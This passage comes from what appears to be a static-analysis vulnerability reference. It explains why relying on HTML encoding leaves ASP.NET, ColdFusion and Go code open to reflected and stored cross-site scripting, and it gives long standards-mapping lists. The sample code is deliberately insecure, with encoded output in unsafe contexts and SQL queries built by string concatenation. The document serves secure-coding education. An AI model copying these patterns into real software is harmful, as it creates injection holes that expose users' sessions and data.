[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.apex.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks report cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ASP.NET code segment reads an employee ID number from an HTTP request, HTML-encodes it, and displays it to the user.

<script runat="server">
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);
...
</script>


Where Login and EmployeeID are form controls defined as follows:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 2: The following ASP.NET code segment implements the same functionality as in Example 1, albeit programmatically.

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);


The code in these examples operate correctly if Login contains only standard alphanumeric text. If Login has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks in order to lure victims into clicking a link. When the victims click the link, they unwittingly reflect the malicious content through the vulnerable web application and back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 3: The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the HTML-encoded name corresponding with the ID.

<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);
</script>


Where EmployeeName is a form control defined as follows:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 4: Likewise, the following ASP.NET code segment is functionally equivalent to Example 3, but implements all of the form elements programmatically.

protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);


As in Example 1 and Example 2, these code segments perform correctly when the values of name are well-behaved, but they do nothing to prevent exploits if they are not. Again, these code examples can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1 and Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3 and Example 4, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

A number of modern web frameworks provide mechanisms to perform user input validation (including ASP.NET Request Validation and WCF). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. With ASP.NET Request Validation, we also provide evidence for when validation is explicitly disabled. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks report cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, an untrusted source is most frequently a web request, and in the case of persistent (also known as stored) XSS -- it is the results of a database query.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment reads in the text parameter, from an HTTP request, HTML-encodes it, and displays it in an alert box in between script tags.


"<script>alert('<CFOUTPUT>HTMLCodeFormat(#Form.text#)</CFOUTPUT>')</script>";


The code in this example operates correctly if text contains only standard alphanumeric text. If text has a single quote, a round bracket and a semicolon, it ends the alert textbox thereafter the code will be executed.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- The application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cfml.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks report cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.


Example 1: The following Go code segment reads a user name, user, from an HTTP request and displays it to the user.

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(user))
}


The code in this example operates correctly if user contains only standard alphanumeric text. If user has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Go code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(name))
}


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack affects multiple users. XSS began in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

